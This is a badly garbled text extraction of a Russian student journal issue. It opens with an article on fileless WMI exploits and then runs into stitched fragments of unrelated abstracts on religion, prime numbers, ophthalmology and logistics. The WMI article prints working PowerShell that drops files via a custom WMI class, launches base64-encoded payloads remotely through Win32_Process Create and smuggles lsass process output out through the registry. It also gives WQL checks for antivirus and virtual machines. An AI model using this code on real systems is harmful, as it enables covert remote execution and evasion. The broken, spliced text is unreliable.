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№ 26 (155),

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USING THE WMI TOOLKIT TO CREATE A FILE-FREE EXPLOIT Anton Suvorov Student, Saint Petersburg state University of telecommunications named after Prof. M. A. Bonch-Bruevich, Russia, Saint-Petersburg -

WMI

. WMI.

ABSTRACT This article provides examples of using the WMI language to create and use a file-free exploit. Examples of possible ways to protect against malicious actions of exploits based on the WMI language are given. : , , WMI, PowerShell, . Keywords: file-free virus, file-free attack, WMI, PowerShell, registry. WMI Windows NT 4.01 Windows 95, Windows (WMI).

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AV , -

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(IDS). Microsoft

WMI:

PowerShell 3,

:  Get-WmiObject;  Get-CimAssociatedInstance;  Get-CimClass;

CIM

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PowerShell PowerShell – ,

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Get-CimInstance; Get-CimSession; Set-WmiInstance; Set-CimInstance; Invoke-WmiMethod; Invoke-CimMethod; New-CimInstance; New-CimSession; New-CimSessionOption; Register-CimIndicationEvent; Register-WmiEvent; Remove-CimInstance; Remove-WmiObject; Remove-CimSession. WMI CIM , PowerShell WMI.

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WinRM, WMI

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. PowerShell v2 Windows 7,

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WMI; WMI: NamespaceOperationEvent; NamespaceModificationEvent; NamespaceDeletionEvent; NamespaceCreationEvent; ClassOperationEvent;

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1, 2020 .

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№ 26 (155),  LogFileEventConsumer –

ClassDeletionEvent; ClassModificationEvent; ClassCreationEvent; InstanceOperationEvent; InstanceCreationEvent; MethodInvocationEvent; InstanceModificationEvent; InstanceDeletionEvent; TimerEvent. .

;  Activ ActiveScriptEventConsumer – VBScript JScript;  NT NTEventLogEventConsumer – , ;  SMTPEventConsumer – , ;  CommandLineEventConsumer – . ,

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 ROOT\CIMV2:Win32_ComputerShutdownEvent;  ROOT\CIMV2:Win32_IP4RouteTableEvent;  ROOT\CIMV2:Win32_ProcessStartTrace;  ROOT\CIMV2:Win32_ModuleLoadTrace;  ROOT\CIMV2:Win32_ThreadStartTrace;  ROOT\CIMV2:Win32_VolumeChangeEvent;  ROOT\CIMV2:Msft_WmiProvider;  ROOT\DEFAULT:RegistryKeyChangeEvent;  ROOT\DEFAULT:RegistryValueChangeEvent. ( ) [1] SELECT * FROM Win32_ModuleLoadTrace

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ActiveScriptEventConsumer CommandLineEventConsumer.

: SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType = 2 Win32_Logon 2 (Interactive). , , . , . , WMI, (

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:  Host/OS information: Win32_OperatingSystem, Win32_ComputerSystem;  File/directory listing: CIM_DataFile;

: 11


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»

№ 26 (155), .

       

Disk volume listing: Win32_Volume; Registry operations: StdRegProv; Running processes: Win32_Process; Service listing: Win32_Service; Event log: Win32_NtLogEvent; Logged on accounts: Win32_LoggedOnUser; Mounted shares: Win32_Share; Installed patches: Win32_QuickFixEngineering. (AV) (VM) AV WMI , root\SecurityCenter, root\SecurityCenter2 . WQL: SELECT * FROM AntiVirusProduct PowerShell: Get-WmiObject -Namespace root\SecurityCenter2 Class AntiVirusProduct , .

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powershell.exe. $LocalFilePath = 'C:\Users\<user>\Documents\evidence_to_plant.png' $FileBytes = [IO.File]::ReadAllBytes($LocalFilePath) $EncodedFileContentsToDrop = [Convert]::ToBase64String($FileBytes) $Options = New-Object Management.ConnectionOptions $Options.Username = 'Administrator' $Options.Password = 'user' $Options.EnablePrivileges = $True $Connection = New-Object Management.ManagementScope $Connection.Path = '\\<host>\root\default' $Connection.Options = $Options $Connection.Connect() $EvilClass = New-Object Management.ManagementClass($Connection, [String]::Empty, $null) $EvilClass['__CLASS'] = 'Win32_EvilClass' $EvilClass.Properties.Add('EvilProperty', [Management.CimType]::String, $False) $EvilClass.Properties['EvilProperty'].Value = $EncodedFileContentsToDrop $EvilClass.Put() $Credential = Get-Credential '<domain\user>' $CommonArgs = @{ Credential = $Credential ComputerName = '192.168.72.134' } $PayloadText = @' $EncodedFile = ([WmiClass]'root\default:Win32_EvilClass').Properties[' EvilProperty'].Value[IO.File]::WriteAllBytes('C:\fighter_jet_specs. png', [Convert]::FromBase64String($EncodedFile))'@ $EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBy tes($PayloadText)) $PowerShellPayload = "powershell -NoProfile EncodedCommand $EncodedPayload" Invoke-WmiMethod @CommonArgs -Class Win32_Process -Name Create -ArgumentList $PowerShellPayload Get-WmiObject @CommonArgs -Class CIM_DataFile -Filter 'Name = "C:\\fighter_jet_specs.png"' “Pull”

WQL: SELECT * FROM Win32_ComputerSystem WHERE TotalPhysicalMemory < 2147483648 SELECT * FROM Win32_ComputerSystem WHERE NumberOfLogicalProcessors < 2 VMware WQL: SELECT * FROM Win32_NetworkAdapter WHERE Manufacturer LIKE "%VMware%" SELECT * FROM Win32_BIOS WHERE SerialNumber LIKE "%VMware%" SELECT * FROM Win32_Process WHERE Name="vmtoolsd.exe" SELECT * FROM Win32_NetworkAdapter WHERE Name LIKE "%VMware%"

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№ 26 (155),

PowerShell, . PowerShell

, .[2] $Credential = Get-Credential '<domain\user>'

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$CommonArgs = @{ Credential = $Credential ComputerName = '<host>' }

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 : __EventConsumer

# Create a remote registry key and value $HKLM = 2147483650 Invoke-WmiMethod @CommonArgs -Class StdRegProv -Name CreateKey -ArgumentList $HKLM, 'SOFTWARE\EvilKey' Invoke-WmiMethod @CommonArgs -Class StdRegProv -Name DeleteValue -ArgumentList $HKLM, 'SOFTWARE\EvilKey', 'Result'

-

__EventFilter, __FilterToConsumerBinding. __InstanceCreationEvent. WMI -

C2. :

. , __NamespaceCreationEvent __NamespaceModificationEvent.  WMI .  : __ClassCreationEvent.  WMI.  : __Provider. __InstanceCreationEvent.  .  : Win32_StartupCommand. __InstanceCreationEvent.  .  : RegistryKeyChangeEvent / RegistryValueChangeEvent.  .  : Win32_Service. __InstanceCreationEvent. 

# PowerShell payload that saves the serialized output of `Get-Process lsass` to the registry $PayloadText = @' $Payload = {Get-Process lsass} $Result = & $Payload $Output = [Management.Automation.PSSerializer]::Serialize($Result, 5) $Encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBy tes($Output)) Set-ItemProperty -Path HKLM:\SOFTWARE\EvilKey -Name Result -Value $Encoded '@ $EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBy tes($PayloadText)) $PowerShellPayload = "powershell -NoProfile EncodedCommand $EncodedPayload" # Invoke PowerShell payload Invoke-WmiMethod @CommonArgs Win32_Process -Name Create -ArgumentList $PowerShellPayload

.

1, 2020 .

WMI.

-Class

-

,

# Pull the serialized results back $RemoteOutput = Invoke-WmiMethod @CommonArgs -Class StdRegProv -Name GetStringValue -ArgumentList $HKLM, 'SOFTWARE\EvilKey', 'Result' $EncodedOutput = $RemoteOutput.sValue

. ,

, WMI,

# Deserialize and display the result of the command executed on the remote system $DeserializedOutput = [Management.Automation.PSSerializer]::Deserialize([Text.Enco ding]::Ascii.GetString([Convert]::FromBase64String($ EncodedOutput))) WMI

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№ 26 (155),

__InstanceDeletionEvent __EventConsumer,

1, 2020 .

__FilterToConsumerBinding objects.

:

1. Graeber M. Abusing Windows Management Instrumentation (WMI) to Build a Persistent, Asyncronous, and Fileless Backdoor //Black Hat. Las Vegas, NV, USA. – 2015. 2. Turner J. E., Galloway A. E. Discovering Cyber Indicators of Compromise on Windows OS 10 Clients Using PowerShell and the. Net Framework. – Naval Postgraduate School Monterey United States, 2019. 3. Kumar S. et al. An emerging threat Fileless malware: a survey and research challenges //Cybersecurity. – 2020. – . 3. – №. 1. – . 1-12.

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IN THE SYSTEM OF MODERN INTERNATIONAL RELATIONSRUSSIA AND THE ISLAMIC WORLD: DIALOGUE Venera Basharan Lecturer, Department of Altaic and Sinology, Institute of international relations, Kazan (Volga region) Federal University, Russia, Kazan

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, . ABSTRACT This article discusses the dialogue of religions and civilizations, which occupies an important place in the cooperation between Russia and the Islamic world, in its various aspects in the system of modern international relations. The purpose of the article is to show that this dialogue is very relevant for both Russia and the Islamic world’s states. Nowadays we can notify that Russia, both in its domestic and foreign policy has moved to a completely new level in its relations with the countries of the Islamic world In the Russian Federation, this dialogue has a more promising development in the policy and various activities carried out by the regions, in particular, the Republic of Tatarstan. : , , , , . Keywords: Islamic world, dialogue, international relations, Russian Federation, Republic of Tatarstan. 1

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20


«

»

№ 26 (155),

1, 2020 .

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PRIME NUMBERS AND GOLDBACH CONJECTURE Eugene Amosov Associate professor, Samara state technical university, Russia, Samara ё

(

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ABSTRACT We consider the question of decomposing even numbers 2N into two terms N+A N- each of which is a prime number (one of the formulations Golbach conjecture). It is shown how to count which numbers from a series of numbers 6k±1 are actually prime. : , , . Keywords: prime numbers, Goldbach conjecture, decomposition into terms. , (

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THE DECOMPOSITION OF EVEN NUMBERS INTO PRIME TERMS Eugene Amosov Associate professor, Samara state technical university, Russia, Samara

(

6k±1

6n±1,

).

,

ё

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10,

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. ABSTRACT We consider the well-known question of decomposing even numbers into two terms, each of which is a prime number (Holbach's conjecture). It is shown that even numbers starting from 10 can be represented as the sum of two numbers of the form 6k±1 and 6n±1, where k and n are natural numbers. : , , . Keywords: prime numbers, Goldbach's conjecture, decomposition into terms. ,

6n+1

6n+5.

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-

-

12n+2 = (6n + 1) + (6n +1). 12n+4

-

-

12n+4 = (6n – 1) + (6n +5) = (6n – 1) + (6(n +1) – 1). 12n+6 ,

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OCCLUSION OF THE CENTRAL RETINAL ARTERY AND THE BRANCHES. DIAGNOSTICS.TREATMENT. FORECAST Drozdkov Igor Ophthalmologist, S.N. Fyodorov Eye Microsurgery Federal State Institution of the Russian Ministry of Health, Russia, Moscow Obraztsova Maria Resident physician, S.N. Fyodorov Eye Microsurgery Federal State Institution of the Russian Ministry of Health, Russia, Moscow Kakunina Svetlana Candidate of medical Sciences, S.N. Fyodorov Eye Microsurgery Federal State Institution of the Russian Ministry of Health, Russia, Moscow Norman Kirill Candidate of medical Sciences, S.N. Fyodorov Eye Microsurgery Federal State Institution of the Russian Ministry of Health, Russia, Moscow : Keywords: Central retinal artery, occlusion

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PHACOEMULSIFICATION OF CATARACTS WITH IOL IMPLANTATION. POSSIBILITIES WHEN USING A PHACOEMULSIFIER COMBINED WITH VITREOTOME (LITERATURE REVIEW) Drozdkov Igor Ophthalmologist, S.N. Fyodorov Eye Microsurgery Federal State Institution of the Russian Ministry of Health, Russia, Moscow Obraztsova Maria Resident physician, S.N. Fyodorov Eye Microsurgery Federal State Institution of the Russian Ministry of Health, Russia, Moscow Kakunina Svetlana Candidate of medical Sciences, S.N. Fyodorov Eye Microsurgery Federal State Institution of the Russian Ministry of Health, Russia, Moscow Norman Kirill Candidate of medical Sciences, S.N. Fyodorov Eye Microsurgery Federal State Institution of the Russian Ministry of Health, Russia, Moscow : , Keywords: phacoemulsification, vitreous body, vitreous.

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Sung, C.T. The Efficacy of Topical Minoxidil for Non-Scarring Alopecia: A Systematic Review / C.T. Sung, M.L. Juhasz, F.D. Choi, N.A. Mesinkovska // J Drugs Dermatol. - 2019. - Vol. 18 (2). - P. 155-160. 3. Blumeyer, A. Evidence-based (S3) guide-line for the treatment of androgenetic alopecia in women and in men. / A. Blumeyer [et al.] // J Dtsch Dermatol Ges. - 2011. - Vol. 9. - P. 1-57. 4. Safety and Efficacy Study of Bimatoprost in the Treatment of Women With Female Pattern Hair Loss https://clinicaltrials.gov/ct2/show/results/NCT01325350?term=minoxidil&draw=5&rank=40&view=results 5. Prostanoid receptors in anagen human hair follicles https://www.researchgate.net/publication/5842052_Prostanoid_receptors_in_anagen_human_hair_follicles 6. Prostaglandin metabolism in human hair follicle https://pubmed.ncbi.nlm.nih.gov/17697149/ 7. Clinical Trial in Females for Female Pattern Hair Loss https://clinicaltrials.gov/ct2/show/results/NCT01226459?term=minoxidil&cond=AGA&draw=2&rank=10&view= results 8. Clinical Trial in Females With Female Pattern Hair Loss https://clinicaltrials.gov/ct2/show/results/NCT01145625?term=minoxidil&cond=AGA&draw=4&rank=25 9. Safety and Efficacy Study of Bimatoprost in the Treatment of Men With Androgenic Alopecia https://clinicaltrials.gov/ct2/show/results/NCT01325337?term=minoxidil&cond=AGA&draw=4&rank=29 10. Evaluating the Topical Herbal Solution on the Treatment of Male Pattern Hair Loss and Comparison With Minoxidil 5% https://clinicaltrials.gov/ct2/show/results/NCT03753113?term=minoxidil&cond=AGA&draw=3&rank=11

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THE MAIN ETIOPATHOGENETIC ASPECTS OF THE DEVELOPMENT OF HEMOPHTHALMUS (LITERATURE REVIEW) Maria Obraztsova Resident physician, S.N. Fyodorov Eye Microsurgery Federal State Institution of the Russian Ministry of Health, Russia, Moscow Igor Drozdkov Ophthalmologist, S.N. Fyodorov Eye Microsurgery Federal State Institution of the Russian Ministry of Health, Russia, Moscow Iren Bichenova Resident physician, S.N. Fyodorov Eye Microsurgery Federal State Institution of the Russian Ministry of Health, Russia, Moscow Svetlana Kakunina Candidate of medical Sciences, S.N. Fyodorov Eye Microsurgery Federal State Institution of the Russian Ministry of Health, Russia, Moscow Kirill Norman Candidate of medical Sciences, S.N. Fyodorov Eye Microsurgery Federal State Institution of the Russian Ministry of Health, Russia, Moscow

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ABSTRACT Among the pathological changes of the vitreous body, special attention is paid to the etiopathogenetic mechanisms of hemophthalmos. According to statistics, the incidence of hemophthalmia is 7 cases per 100,000 people. Intravitreal hemorrhage is one of the most severe types of vitreous pathology. In this connection the problem of development of hemophthalmus is one of the most difficult in ophthalmology. It is well known that vitreous hemorrhage can be caused by the manifestation of other diseases, and can be caused by the rupture of normal blood vessels, bleeding from affected retinal vessels, bleeding from abnormal newly formed vessels, or the spread of vitreous hemorrhage through the retina from other sources. : , , . Keywords: vitreous, vitreoretinal interface, hemophthalmos. : «

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THE BASIC ASPECTS OF THE TREATMENT OF HEMOPHTHALMUS (LITERATURE REVIEW) Maria Obraztsova Resident physician, S.N. Fyodorov Eye Microsurgery Federal State Institution of the Russian Ministry of Health, Russia, Moscow Igor Drozdkov Ophthalmologist, S.N. Fyodorov Eye Microsurgery Federal State Institution of the Russian Ministry of Health, Russia, Moscow Iren Bichenova Resident physician, S.N. Fyodorov Eye Microsurgery Federal State Institution of the Russian Ministry of Health, Russia, Moscow Svetlana Kakunina Candidate of medical Sciences, S.N. Fyodorov Eye Microsurgery Federal State Institution of the Russian Ministry of Health, Russia, Moscow Kirill Norman Candidate of medical Sciences, S.N. Fyodorov Eye Microsurgery Federal State Institution of the Russian Ministry of Health, Russia, Moscow

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mos is to reduce the causes that cause or exacerbate pathological processes in the microcirculatory system in patients with vitreal hemorrhages of various etiologies. Proactive management includes early vitrectomy, removal of intravitreal hemorrhage to conduct a detailed retinal examination. In the presence of retinal tears, laser treatment is performed, and in case of retinal detachment, the necessary surgical intervention is performed : , , . Keywords: vitreous, hemophthalmus, enzymotherapy. ,

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POSITIVE AND NEGATIVE ASPECTS OF LOGISTICS OUTSOURCING DEVELOPMENT Ekaterina Shaporenkov Student, Institute of management and digital technologies, Russian University of transport (MIIT), Russia, Moscow Juliana Semyonova Student, Institute of management and digital technologies, Russian University of transport (MIIT), Russia, Moscow . ,

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MODULATOR OF THE BROADCAST SYSTEM'S AMPLITUDE AMPLIFIER Timofey Petrov Master student, Tambov state technical University, Russia, Tambov

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ABSTRACT The article briefly reveals the main functionality of the modulator of the amplitude amplifier of the broadcasting system. Its descriptive characteristics are given in schemes based on typological features. The main distinctive technical features and indicators of each category of the amplitude amplifier modulator, both low-frequency and high-frequency, are highlighted. A transmitter with amplitude modulation in its structure is represented by an exciter, a cascade of frequency multipliers, a power amplifier, a frequency amplifier, an amplitude modulator, and an antenna. The main disadvantage of this category of broadcast modulators is their low output power. : ; ; . Keywords: modulator of the broadcast system's amplitude amplifier; characteristic in circuits; amplitude modulator. -

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ABSTRACT This article considers the problem of student personality culture as one of the main issues of a creative university, which serves as the basis for the disclosure of the tasks, content and forms of comprehensive training of a future specialist. The role of culture, which allows a person to become an intellectual, spiritual, moral, creative personality, forms the inner world of a person, reveals the content of his personality. : , , , , , . Keywords: personality culture, spiritual value, personality formation, education, patriotic education, moral education. –

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STUDY OF EFFICIENCY OF ELECTRONIC EDUCATIONAL RESOURCES AS A COMPONENT OF ELECTRONIC INFORMATION AND EDUCATIONAL ENVIRONMENT Roman Vedenin Student, Omsk State Pedagogical University, Russia, Omsk

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